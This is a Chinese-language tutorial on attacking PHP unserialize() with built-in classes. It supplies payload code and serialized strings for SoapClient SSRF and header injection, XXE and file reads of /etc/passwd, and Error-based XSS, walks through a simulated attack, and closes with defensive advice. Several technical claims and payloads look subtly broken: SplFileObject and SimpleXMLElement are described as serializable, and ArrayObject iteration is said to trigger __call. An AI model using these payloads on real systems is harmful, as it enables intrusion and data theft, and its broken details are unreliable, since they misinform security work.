1. 为什么原生类反序列化值得单独拎出来讲
搞安全研究或者代码审计的朋友,对PHP反序列化这四个字肯定不陌生。但很多人一上来就盯着__wakeup、__destruct这些魔术方法,或者急着去找POP链,反而忽略了一个非常关键的领域——PHP原生类反序列化。所谓原生类,就是PHP语言自带的那批内置类,比如SoapClient、SimpleXMLElement、SplFileObject、DirectoryIterator、Error、Exception、ArrayObject、ArrayIterator、CachingIterator、ZipArchive等等。这些类不需要你额外安装扩展(部分需要开启对应扩展),只要PHP环境支持,它们就天然存在。
这个方向为什么值得单独拿出来说?因为在实际的代码审计和漏洞挖掘场景里,目标应用不一定有完整的框架、不一定有Composer引入的第三方库,甚至可能就是一个单文件的小脚本。这时候你手里没有现成的POP链可用,怎么办?原生类就是你的突破口。它们自带一些魔术方法或者实现了特定接口,在反序列化过程中能触发文件读取、SSRF、XSS、甚至RCE等效果。而且因为它们是语言内置的,很多开发者根本意识不到这些类会被恶意利用,防御上往往存在盲区。
这篇文章适合谁看?如果你已经了解PHP反序列化的基本原理,知道serialize()和unserialize()是怎么回事,也明白魔术方法在反序列化时会被自动调用,那这篇文章就是为你准备的进阶内容。如果你是完全的新手,建议先把反序列化的基础概念补一补,否则后面的利用链分析会有点吃力。我会尽量用通俗的方式讲清楚每个原生类的利用逻辑、适用场景、参数构造方法,以及我在实际测试中踩过的坑。
需要提前说明的是,本文所有内容仅用于安全研究和防御加固目的,请勿用于任何未经授权的测试。所有案例均为模拟环境下的技术分析,不涉及任何真实目标。
2. 原生类反序列化的核心原理拆解
2.1 反序列化自动触发的魔术方法回顾
要理解原生类的利用,首先得把反序列化过程中哪些魔术方法会被自动调用这件事捋清楚。当你对一个字符串执行unserialize()时,PHP会根据字符串中的类名去查找对应的类定义,然后恢复对象的属性。在这个过程中,以下几个魔术方法会被自动触发:
__wakeup():在unserialize()执行时立即调用,常用于重新建立数据库连接等操作。__destruct():对象被销毁时调用,通常在脚本执行结束或对象引用计数归零时触发。__toString():当对象被当作字符串使用时调用,比如echo $obj或者字符串拼接。__call():调用对象中不存在的方法时触发。__get():访问对象中不存在的属性时触发。__set():给不存在的属性赋值时触发。__invoke():把对象当作函数调用时触发。
原生类的价值就在于,它们内部已经实现了这些魔术方法中的某一个或多个,而且实现逻辑里可能包含文件操作、网络请求、字符串输出等敏感行为。你不需要自己写类,直接构造序列化字符串就能触发这些行为。
2.2 原生类与自定义类的本质区别
自定义类做反序列化利用时,你需要找到一条完整的POP链——从入口的__destruct或__wakeup开始,经过若干次属性赋值和方法调用,最终到达一个危险函数(如eval、system、file_put_contents)。这条链的构造依赖于目标代码中已有的类和方法,如果目标代码很简单,没有合适的类,POP链就断了。
原生类不一样。它们是PHP语言层面提供的,不管你目标代码写了什么,只要PHP版本支持,这些类就存在。你不需要依赖目标应用的业务代码,直接利用原生类自身的方法实现就能达到目的。这就大大降低了利用门槛,尤其是在目标代码量很少、没有第三方依赖的情况下,原生类往往是唯一的突破口。
举个例子,SoapClient类实现了__call方法,当你调用一个它不存在的方法时,它会根据WSDL配置发起SOAP请求。如果你能控制它的location和uri属性,就能让它向任意地址发起HTTP请求,实现SSRF。这个过程中你完全不需要目标应用有任何SOAP相关的业务逻辑。
2.3 利用原生类的基本条件与限制
虽然原生类很强大,但也不是万能的。利用它们通常需要满足以下条件:
第一,目标环境必须支持对应的PHP扩展。比如SoapClient需要开启soap扩展,SimpleXMLElement需要开启simplexml扩展,ZipArchive需要开启zip扩展。如果扩展没开,类就不存在,序列化字符串反序列化时会报错。
第二,PHP版本会影响某些类的行为。比如SoapClient的CRLF注入问题在PHP 8.0之后被修复了,Error和Exception类的__toString行为在不同版本间也有差异。所以实际测试时必须先确认目标PHP版本。
第三,反序列化的入口必须可控。也就是说,你得找到一个能把用户输入传给unserialize()的地方。这通常来自Cookie、POST参数、Session数据等。如果找不到入口,再好的利用链也没用。
第四,某些类在反序列化时可能需要额外的参数或配置。比如SoapClient在反序列化后,你需要通过某种方式触发它的__call方法,这通常需要配合其他魔术方法或者代码逻辑。
3. 高频原生类的利用方式与实操细节
3.1 SoapClient:SSRF与CRLF注入的经典载体
SoapClient是原生类反序列化里出场率最高的选手之一。它的核心利用点在于:当对象被反序列化后,如果代码中调用了该对象的某个不存在的方法,__call魔术方法会被触发,SoapClient会根据内部的location、uri、user_agent等属性发起SOAP请求。攻击者可以控制这些属性,让请求指向内网地址或任意外部地址。
构造一个利用SoapClient进行SSRF的序列化字符串,关键属性包括:
location:目标URL,比如http://127.0.0.1:8080/uri:SOAP服务的命名空间,随便填一个合法的URI即可user_agent:HTTP请求的User-Agent头,可以注入CRLF实现请求头注入
在实际测试中,我通常会用以下PHP代码生成payload:
<?php $target = "http://127.0.0.1:8080/"; $post_string = "param1=value1¶m2=value2"; $headers = [ "X-Forwarded-For: 127.0.0.1", "Cookie: admin=1" ]; $user_agent = "test\r\n" . implode("\r\n", $headers); $soap = new SoapClient(null, [ 'location' => $target, 'uri' => 'http://test.com', 'user_agent' => $user_agent, 'stream_context' => stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => 'Content-Type: application/soap+xml', 'content' => $post_string ] ]) ]); echo serialize($soap);这里有个细节需要注意:SoapClient在反序列化后并不会自动发起请求,必须等到代码中调用了它的某个方法才会触发。所以实际利用时,通常需要配合目标代码中的其他逻辑,比如某个地方对反序列化后的对象调用了$obj->anyMethod()。如果目标代码没有这样的调用,SoapClient就触发不了。
另外,PHP 8.0之后SoapClient的CRLF注入被修复了,user_agent中的\r\n会被过滤掉。所以在PHP 8.0及以上版本,你只能用它做SSRF,没法做请求头注入。这一点在实战中要特别注意,别拿着老版本的payload去打新版本的环境。
3.2 SimpleXMLElement:XXE与文件读取的入口
SimpleXMLElement这个类在反序列化利用中主要用于触发XXE(XML外部实体注入)。它的构造函数接受一个XML字符串,如果这个字符串中包含外部实体引用,且目标环境没有禁用外部实体加载,就能读取本地文件或者发起SSRF。
利用方式通常是这样的:构造一个SimpleXMLElement对象,其内部数据是一个包含XXE payload的XML字符串。当这个对象被反序列化后,如果代码中对它执行了__toString()或者类似的操作,XML就会被解析,外部实体就会被加载。
<?php $xml = '<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>'; $obj = new SimpleXMLElement($xml); echo serialize($obj);不过这里有个限制:SimpleXMLElement的序列化结果比较特殊,它不会把整个XML字符串原样序列化进去,而是只序列化一些内部状态。所以直接反序列化一个SimpleXMLElement对象,并不能保证XML会被重新解析。实际利用时,往往需要结合目标代码中对该对象的后续操作,比如把它当作字符串输出。
我在测试中发现,SimpleXMLElement的反序列化利用成功率相对较低,因为它的内部状态序列化后很难精确控制。相比之下,直接通过unserialize()传入一个构造好的XML字符串,然后让代码去解析,反而更直接。所以这个类更多是作为备选方案,而不是首选。
3.3 SplFileObject与DirectoryIterator:文件读取的利器
SplFileObject和DirectoryIterator这两个类都实现了__toString()方法,当对象被当作字符串使用时,会返回当前文件或目录的内容。这意味着如果你能控制反序列化后的对象被echo或者字符串拼接,就能读取任意文件。
SplFileObject的构造函数接受文件名,__toString()返回文件内容。构造payload:
<?php $obj = new SplFileObject('/etc/passwd'); echo serialize($obj);DirectoryIterator的构造函数接受目录路径,__toString()返回当前目录项的文件名。虽然不能直接读文件内容,但可以用来列目录。
这两个类的利用条件比较苛刻:必须有一个地方把反序列化后的对象当作字符串使用。在实际代码审计中,这种场景并不少见,比如日志记录、模板渲染、字符串拼接等。我曾经在一个模拟项目中遇到过这样的情况:代码把用户传入的序列化数据反序列化后,直接拼接到一个字符串里输出,这就给了SplFileObject可乘之机。
需要注意的是,SplFileObject在反序列化时,如果文件不存在或者没有权限,会抛出异常。所以在构造payload时,要确保目标文件路径是正确的,并且PHP进程有读取权限。
3.4 Error与Exception:XSS与信息泄露
Error和Exception这两个类都实现了__toString()方法,返回的是错误或异常的字符串表示,包括消息、文件路径、行号、堆栈跟踪等信息。如果目标代码把反序列化后的对象输出到页面上,就可能造成敏感信息泄露,甚至XSS。
构造payload:
<?php $error = new Error("<script>alert(1)</script>"); echo serialize($error);当这个对象被反序列化并输出时,__toString()会返回类似这样的字符串:
Error: <script>alert(1)</script> in /path/to/file:line Stack trace: #0 {main}如果输出没有经过HTML转义,<script>标签就会被浏览器执行,造成XSS。即使没有XSS,文件路径和行号信息也可能帮助攻击者进一步了解目标环境。
这个利用方式的成功率取决于目标代码是否会把异常对象直接输出。在实际场景中,很多框架的异常处理机制会把异常信息渲染到页面上,尤其是在调试模式下。所以这个类在CTF或者渗透测试中经常被用来做信息收集。
3.5 ArrayObject与ArrayIterator:反序列化链的辅助工具
ArrayObject和ArrayIterator这两个类本身不直接造成危害,但它们在构造复杂的反序列化链时非常有用。它们可以实现Iterator接口,在foreach循环中触发__call或__get等方法,从而间接调用其他危险方法。
比如,你可以把一个ArrayObject对象作为某个类的属性,当代码对这个属性进行遍历时,ArrayObject内部的__call会被触发,进而调用你预设的方法。这种技巧在构造POP链时经常用到,尤其是当目标代码中有foreach循环遍历对象属性的逻辑时。
<?php $inner = new SoapClient(null, [ 'location' => 'http://127.0.0.1:8080/', 'uri' => 'http://test.com' ]); $outer = new ArrayObject([$inner]); echo serialize($outer);这个payload在反序列化后,如果代码遍历$outer,就会触发$inner的__call方法,从而发起SOAP请求。这种嵌套利用的方式在实际测试中非常有效,因为它可以绕过一些简单的过滤逻辑。
3.6 ZipArchive:文件操作与解压攻击
ZipArchive类在反序列化利用中主要用于文件操作。它的__destruct()方法会在对象销毁时关闭ZIP文件,如果filename属性被控制,可能造成文件删除或覆盖。不过这个类的利用条件比较苛刻,需要目标环境开启zip扩展,且代码中有对ZipArchive对象的操作。
我在实际测试中很少单独使用ZipArchive,更多是把它作为辅助类,配合其他原生类完成文件写入或删除。比如,你可以构造一个ZipArchive对象,设置其filename为某个敏感文件路径,当对象被销毁时,可能会触发文件操作。
<?php $zip = new ZipArchive(); $zip->filename = '/tmp/test.zip'; echo serialize($zip);需要注意的是,ZipArchive的__destruct行为在不同PHP版本间有差异,而且它通常需要配合open()方法才能完成实际的文件操作。所以这个类的利用价值相对有限,更多是作为知识储备。
4. 完整利用链的构造与实操流程
4.1 信息收集:确认PHP版本与扩展支持
在构造任何利用链之前,第一步永远是信息收集。你需要确认目标的PHP版本、开启了哪些扩展、是否有反序列化入口。这些信息可以通过以下方式获取:
- 通过
phpinfo()页面(如果存在)直接查看。 - 通过报错信息推断PHP版本和扩展。
- 通过
X-Powered-By响应头获取部分信息。 - 通过尝试反序列化不同类的payload,观察报错信息来判断类是否存在。
我通常会先构造一个简单的SoapClient序列化字符串,直接传给目标的反序列化入口。如果报错说“Class SoapClient not found”,说明soap扩展没开;如果报错说“Invalid serialization data”,说明入口存在但数据格式不对;如果没有报错,说明反序列化成功了,可以进一步测试。
4.2 入口定位:找到可控的unserialize调用
反序列化入口通常出现在以下位置:
- Cookie中的序列化数据,比如
session、user_prefs等。 - POST参数中的序列化字符串,比如
data、obj等。 - 数据库中的序列化字段,比如某些配置项。
- 缓存中的序列化数据,比如Redis、Memcached中的值。
在实际审计中,我会用正则搜索代码中的unserialize(调用,然后逐个分析参数来源。如果参数来自用户输入且没有经过严格过滤,就是一个潜在的入口。
4.3 构造payload:从简单到复杂的迭代过程
构造payload的过程通常是这样的:
第一步,先确定目标类。根据信息收集的结果,选择一个可用的原生类,比如SoapClient。
第二步,构造最小化的序列化字符串。比如:
O:10:"SoapClient":3:{s:8:"location";s:21:"http://127.0.0.1:8080/";s:3:"uri";s:15:"http://test.com";s:11:"user_agent";s:4:"test";}第三步,把payload传给目标入口,观察响应。如果目标发起了请求(可以通过DNSlog或者内网服务确认),说明利用成功。
第四步,如果失败,逐步调整参数。比如修改location为不同的地址,调整user_agent的内容,或者尝试不同的类。
4.4 实战案例:模拟环境下的完整利用过程
假设有一个模拟的PHP应用,它接收一个名为data的GET参数,直接执行unserialize($_GET['data']),然后把结果输出到页面上。目标环境是PHP 7.4,开启了soap、simplexml、zip扩展。
首先,我尝试用SplFileObject读取/etc/passwd:
O:13:"SplFileObject":1:{s:12:"\0*\0filename";s:11:"/etc/passwd";}注意SplFileObject的filename属性是protected的,序列化时需要用\0*\0前缀。把这个payload URL编码后传给data参数,如果页面输出了/etc/passwd的内容,说明利用成功。
如果SplFileObject不行,我尝试用Error类触发XSS:
O:5:"Error":2:{s:7:"message";s:25:"<script>alert(1)</script>";s:4:"code";i:0;}如果页面输出了未转义的<script>标签,说明XSS成功。
如果以上都不行,我尝试用SoapClient做SSRF:
O:10:"SoapClient":3:{s:8:"location";s:21:"http://127.0.0.1:8080/";s:3:"uri";s:15:"http://test.com";s:11:"user_agent";s:4:"test";}然后在本地启动一个HTTP服务监听8080端口,观察是否有请求进来。
这个迭代过程可能需要多次尝试,因为不同类的利用条件不同,目标代码的行为也不同。关键是要有耐心,逐个排除可能性。
5. 常见问题与排查技巧实录
5.1 反序列化失败:类不存在或属性不匹配
最常见的问题就是反序列化时报错“Class not found”或者“Invalid serialization data”。前者说明目标环境没有开启对应的扩展,或者类名拼写错误;后者说明序列化字符串的格式有问题,比如属性数量不对、字符串长度不匹配等。
排查方法:先用一个最简单的类(比如stdClass)测试入口是否正常工作。如果stdClass能成功反序列化,说明入口没问题,问题出在具体类上。然后逐个检查类名、属性名、属性数量、字符串长度是否正确。
注意:PHP序列化字符串中的字符串长度必须精确匹配,包括
\0前缀。一个字符的偏差都会导致反序列化失败。
5.2 魔术方法未触发:调用条件不满足
有时候反序列化成功了,但魔术方法没有被触发。比如SoapClient的__call需要代码中调用一个不存在的方法才会触发,如果目标代码只是反序列化后把对象存起来,没有后续调用,就不会触发。
排查方法:仔细阅读目标代码,找到反序列化后的对象被使用的地方。如果没有被使用,尝试寻找其他入口或者结合其他漏洞。
5.3 版本差异导致payload失效
不同PHP版本对原生类的实现有差异。比如SoapClient的CRLF注入在PHP 8.0被修复,Error类的__toString输出格式在PHP 7和PHP 8之间也有变化。
排查方法:先确认目标PHP版本,然后查阅对应版本的PHP源码或文档,了解该版本下原生类的具体行为。如果条件允许,在本地搭建相同版本的环境进行测试。
5.4 常见问题速查表
| 问题现象 | 可能原因 | 排查方向 |
|---|---|---|
| Class not found | 扩展未开启或类名错误 | 检查phpinfo或报错信息 |
| Invalid serialization data | 序列化字符串格式错误 | 检查字符串长度和属性数量 |
| 魔术方法未触发 | 调用条件不满足 | 阅读目标代码,找触发点 |
| SSRF无请求 | location地址不可达 | 检查网络连通性和目标地址 |
| 文件读取失败 | 文件不存在或权限不足 | 检查文件路径和PHP进程权限 |
| XSS未执行 | 输出被转义 | 检查输出点的转义逻辑 |
5.5 独家避坑技巧
第一,构造SplFileObject的payload时,filename属性是protected的,序列化时需要用\0*\0filename,而不是直接写filename。很多人在这里卡住,就是因为忽略了protected属性的序列化格式。
第二,SoapClient在反序列化后,如果location地址不可达,可能会阻塞一段时间才返回。在实际测试中,建议把超时时间设短一点,避免长时间等待。
第三,Error类的message属性如果包含特殊字符,序列化时要注意长度计算。比如<script>是8个字符,但加上引号和其他字符后,总长度要精确。
第四,测试DirectoryIterator时,如果目录为空,__toString()可能返回空字符串,导致看不出效果。建议选择一个有文件的目录进行测试。
第五,不同PHP版本对ArrayObject的序列化格式有差异,PHP 7.4和PHP 8.0的序列化结果可能不同。跨版本测试时要特别注意。
6. 防御视角:如何阻断原生类反序列化攻击
聊完攻击,必须说说防御。毕竟我们做安全研究的最终目的是为了加固系统。原生类反序列化的防御,核心思路和普通反序列化防御是一致的,但有一些特殊点需要注意。
首先,最根本的防御是避免使用unserialize()处理用户输入。如果业务上必须反序列化,优先使用JSON、XML等安全的数据格式。PHP 7.0之后提供了unserialize()的allowed_classes参数,可以限制允许反序列化的类:
$data = unserialize($input, ['allowed_classes' => ['MyClass', 'AnotherClass']]);把allowed_classes设为false,可以完全禁止反序列化任何类,只允许数组和基本类型。这是最安全的做法。
其次,如果必须允许某些类,要严格白名单,只允许业务需要的类,禁止所有原生类。因为原生类的利用方式太多,很难逐一防御。
第三,对反序列化后的对象进行严格的类型检查和属性校验。比如,如果业务期望的是一个数组,就检查is_array();如果期望的是特定类的实例,就检查instanceof。
第四,禁用不必要的PHP扩展。比如,如果业务不需要SOAP,就关闭soap扩展;不需要zip,就关闭zip扩展。减少原生类的数量,就减少了攻击面。
第五,使用WAF或RASP对反序列化流量进行检测。很多WAF可以识别常见的PHP序列化字符串特征,比如O:开头的字符串。但要注意,攻击者可以对序列化字符串进行编码或混淆,所以WAF不是万能的。
我在实际加固中,通常会建议开发团队遵循以下原则:能用JSON就不用序列化,能用白名单就不用黑名单,能限制类就限制类,能关扩展就关扩展。这四句话基本上涵盖了原生类反序列化防御的核心。
最后再分享一个小技巧:如果你在代码审计中发现某个入口使用了unserialize(),但不确定是否有原生类可以利用,可以写一个简单的脚本,遍历所有PHP内置类,检查它们是否实现了__destruct、__wakeup、__toString等魔术方法。这样能快速定位潜在的风险点。我在几个模拟项目中用这个方法,确实发现了一些容易被忽略的利用点,比如CachingIterator和LimitIterator在某些场景下也能触发意外行为。这个思路后续还可以扩展到SPL类的深度分析,值得进一步挖掘。